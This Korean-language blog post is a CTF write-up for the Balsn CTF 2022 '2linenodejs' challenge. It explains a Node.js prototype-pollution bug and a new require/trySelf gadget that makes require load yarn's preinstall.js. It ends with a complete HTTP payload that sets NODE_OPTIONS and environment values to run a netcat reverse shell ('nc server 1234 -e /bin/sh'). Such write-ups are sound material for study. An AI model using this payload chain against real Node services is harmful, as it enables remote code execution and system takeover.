Profile

i love cat

as3617

Balsn CTF 2022 2linenodejs writeup

first blood.

퍼블 땄다. 이거 퍼블 따고 이후 솔버가 한동안 안 나왔는데 그동안 모르는 외국인들한테 어떻게 푸냐고 질문이 좀 들어왔다
누가 풀었는지 어떻게 알아냈는진 모르겠지만 좀 신박한 경험이었다

#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1];
    console.log(json)
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch(error){
    require('./usage')
  }finally{
    process.exit();
  }
});

문제 코드는 위와 같다.
취약점은 require('./index')(obj, {})에서 발생하는데 index.js의 코드는 아래와 같다.

module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);

한 줄로 코드가 작성되있어서 보기 힘들 수 있는데 잘 읽어보면 그냥 prototype pollution이 발생한다.

그럼 이제 취약점을 이용해서 RCE를 얻어야하는데 RCE에 쓸만한 함수는 require 밖에 없다.

https://arxiv.org/abs/2207.11171

다행히도 최근에 prototype pollution에 대해 정리된 논문이 나왔고 이 안에 require안에서 prototype pollution으로 원하는 함수를 import하는 법에 대해 잘 정리되어있었다.

하지만 node v16.16.0에선 성공했는데 문제가 돌아가는 환경인 node v18.8.0에선 아무리 돌려도 익스가 불가능했다.

이유는 다음과 같다.

https://github.com/nodejs/node/commit/a8c24185f8c156b204175c76de68113d950a5e6f#diff-5b5902273122e094ff474fda358605ffa45a4a58b51cd0bf4c1acb93779df142

코드를 리팩토링하면서 정규식 관련 부분을 수정했는데 lib/internal/modules/cjs/loader.js의 resolveExports함수 부분의 코드가 아래와 같이 변경되었다.

function resolveExports(nmPath, request) {
  // The implementation's behavior is meant to mirror resolution in ESM.
  const { 1: name, 2: expansion = '' } =
  -    StringPrototypeMatch(request, EXPORTS_PATTERN) || [];
  +   RegExpPrototypeExec(EXPORTS_PATTERN, request) || kEmptyObject;
  if (!name)
    return;
  const pkgPath = path.resolve(nmPath, name);

원랜 StringPrototypeMatch함수에서 false를 반환했을 때 || 연산자에 의해 []가 사용되고 이때 name, expansion 변수를 prototype pollution으로 맘대로 덮어서 익스플로잇이 가능했는데 이젠 kEmptyObject를 리턴하기 때문에 exploit이 불가능하다.

kEmptyObject = ObjectFreeze(ObjectCreate(null));

이 방법으론 익스플로잇이 불가능하기 때문에 새로운 가젯을 찾아야하는데 require 함수에 breakpoint를 걸고 호출을 따라가다보면 흥미로운 부분을 발견할 수 있다.

require 함수의 호출을 따라가다보면 tryself함수를 호출하는데 코드는 아래와 같다.

function trySelf(parentPath, request) {
  if (!parentPath) return false;

  const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
  if (!pkg || pkg.exports === undefined) return false;
  if (typeof pkg.name !== 'string') return false;

  let expansion;
  if (request === pkg.name) {
    expansion = '.';
  } else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
    expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
  } else {
    return false;
  }

  try {
    return finalizeEsmResolution(packageExportsResolve(
      pathToFileURL(pkgPath + '/package.json'), expansion, pkg,
      pathToFileURL(parentPath), cjsConditions), parentPath, pkgPath);
  } catch (e) {
    if (e.code === 'ERR_MODULE_NOT_FOUND')
      throw createEsmNotFoundErr(request, pkgPath + '/package.json');
    throw e;
  }
}

readPackageScope는 현재 path를 기준으로 상위 폴더로 올라가며 package.json을 찾는다. 만약 최상위 디렉토리까지 올라가는 동안 package.json을 발견하지 못한다면 함수는 false를 반환해준다. 그럼 패치 이전과 동일하게 {}가 사용될 것이고 pkg, pkgPath 변수를 맘대로 컨트롤 할 수 있다.

{"__proto__":{"data":{"name":"./usage","exports":{".":"./test.js"}},"path":"/tmp"}

만약 위와 같이 pollution을 시도하면 data 변수에는 {"name":"./usage","exports":{".":"./test.js"}}, pkgPath변수에는 /tmp가 들어가게 된다.

그럼 try block 안에서 packageExportsResolve를 호출하게 되는데
이때 require 함수는 우리가 pollution한 path에서 usage.js를 찾으려고 시도한다.
근데 해당 경로엔 usage.js가 없기 때문에 pollute된 exports property를 이용하여 모듈에 접근할 수 있는 entrypoint를 가져오고
최종적으론 해당 경로엔 package.json이 없음에도 valid한 module 경로로 착각하여 ./test.js를 import하게 된다.

이제 맘대로 js 파일을 import하는 것이 가능한데 RCE를 위해선 child_process를 사용하는 js 파일을 찾아야한다.
그리고 아주 좋은 예제가 있었다.

/opt/yarn~~ 경로에 존재하는 preinstall.js를 이용하는 것인데
환경변수에 npm_config_global이 설정되있다면 child_process를 이용하여 무언가를 실행해준다.

if (process.env.npm_config_global) {
    var cp = require('child_process');
    var fs = require('fs');
    var path = require('path');

    try {
        var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
            encoding: 'utf8',
            stdio: ['ignore', undefined, 'ignore'],
        }).replace(/\n/g, '');

        var manifest = require('./package.json');
        var binNames = typeof manifest.bin === 'string'
            ? [manifest.name.replace(/^@[^\/]+\//, '')]
            : typeof manifest.bin === 'object' && manifest.bin !== null
            ? Object.keys(manifest.bin)
            : [];

        binNames.forEach(function (binName) {
            var binPath = path.join(targetPath, binName);

            var binTarget;
            try {
                binTarget = fs.readlinkSync(binPath);
            } catch (err) {
                return;
            }

            if (binTarget.startsWith('../lib/node_modules/corepack/')) {
                try {
                    fs.unlinkSync(binPath);
                } catch (err) {
                    return;
                }
            }
        });
    } catch (err) {
        // ignore errors
    }
}

문제에서 준 환경에도 동일하게 preinstall.js가 존재하고 환경변수는 prototype pollution을 이용하여 설정해주면 되기 때문에 페이로드 가져와서 RCE해주면 된다.

GET /?{"__proto__":{"env":{"EVIL":"console.log(require('child_process').execSync('nc${IFS}server${IFS}1234${IFS}-e${IFS}/bin/sh').toString())//"},"NODE_OPTIONS":"--require=/proc/self/environ","npm_config_global":1,"data":{"name":"./usage","exports":{".":"./preinstall.js"}},"path":"/opt/yarn-v1.22.19/","__proto__":{"a":1}}} HTTP/1.1

위의 페이로드를 burp suite를 이용하여 전송해주면 reverse shell을 얻을 수 있다.

FLAG : BALSN{Pr0toTyP3_PoL1u7i0n_1s_so_Cooooooool!!!}

'ctf writeup' 카테고리의 다른 글

DiceCTF 2023 - unfinished  (0) 2023.02.06
2022 Fall GoN Open Qual CTF writeup  (2) 2022.09.01
LINE CTF 2022 web writeup  (0) 2022.03.27
Codegate 2022 Preliminary writeup  (0) 2022.02.27
Real World CTF 4th - web writeup  (0) 2022.01.30